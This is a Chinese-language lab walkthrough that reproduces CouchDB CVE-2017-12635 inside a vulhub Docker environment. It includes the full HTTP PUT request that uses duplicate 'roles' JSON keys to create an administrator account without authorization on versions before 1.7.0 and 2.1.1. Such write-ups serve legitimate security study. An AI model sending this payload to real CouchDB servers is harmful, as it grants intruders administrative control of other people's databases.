Couchdb垂直权限绕过漏洞(CVE-2017-12635)
0x01漏洞概述
Apache CouchDB是一个面向文档的开源NoSQL数据库,在Erlang中实现。CouchDB 使用多种格式和协议来存储、传输和处理其数据。它使用JSON来存储数据,使用MapReduce将JavaScript作为其查询语言,并使用HTTP作为API。
由于基于Erlang的JSON解析器和基于JavaScript的JSON解析器的差异,在1.7.0之前的Apache CouchDB和2.1.1之前的2.x中,可以提交具有重复键的文档,用于数据库内的访问控制,包括表示管理用户的特殊情况角色。
在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12635是由于Erlang和JavaScript对JSON解析方式的不同,导致语句执行产生差异性导致的。这个漏洞可以让任意用户创建管理员,属于垂直权限绕过漏洞。
参考连接:
https://justi.cz/security/2017/11/14/couchdb-rce-npm.html
https://www.exploit-db.com/exploits/44498
http://bobao.360.cn/learning/detail/4716.html
0x02影响版本
小于 1.7.0 以及 小于 2.1.1
0x03漏洞环境
1、启动漏洞环境
┌──(root💀kali)-[/home/kali/vulhub/couchdb/CVE-2017-12635]
└─# docker-compose up -d
2、访问漏洞
http://your-ip:5984/_utils/
显示为该页面,则漏洞环境启动成功。
3、测试完毕后删除漏洞环境
┌──(root💀kali)-[/home/kali/vulhub/couchdb/CVE-2017-12635]
└─# docker-compose down
0x04复现过程
1、正常输入账号密码,发现访问不成功。
访问如下网站信息:
http://your-ip:5984/_utils/
结果如下:
2、利用burpsuite抓包,发送到重发器进行改包。
这是添加用户的正常请求
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: your-ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 90
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"password": "vulhub"
}
发送以后,发现返回403错误,意味着只有管理员才能访问。
结果图如下:
3、发送包含重复角色的请求来绕过限制
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: your-ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"roles": [],
"password": "vulhub"
}
发现成功创建用户,并且带有密码。
账号:vulhub
密码:vulhub
结果图如下:
4、利用注册好的账号密码进行登录
发现成功登录,结果如下: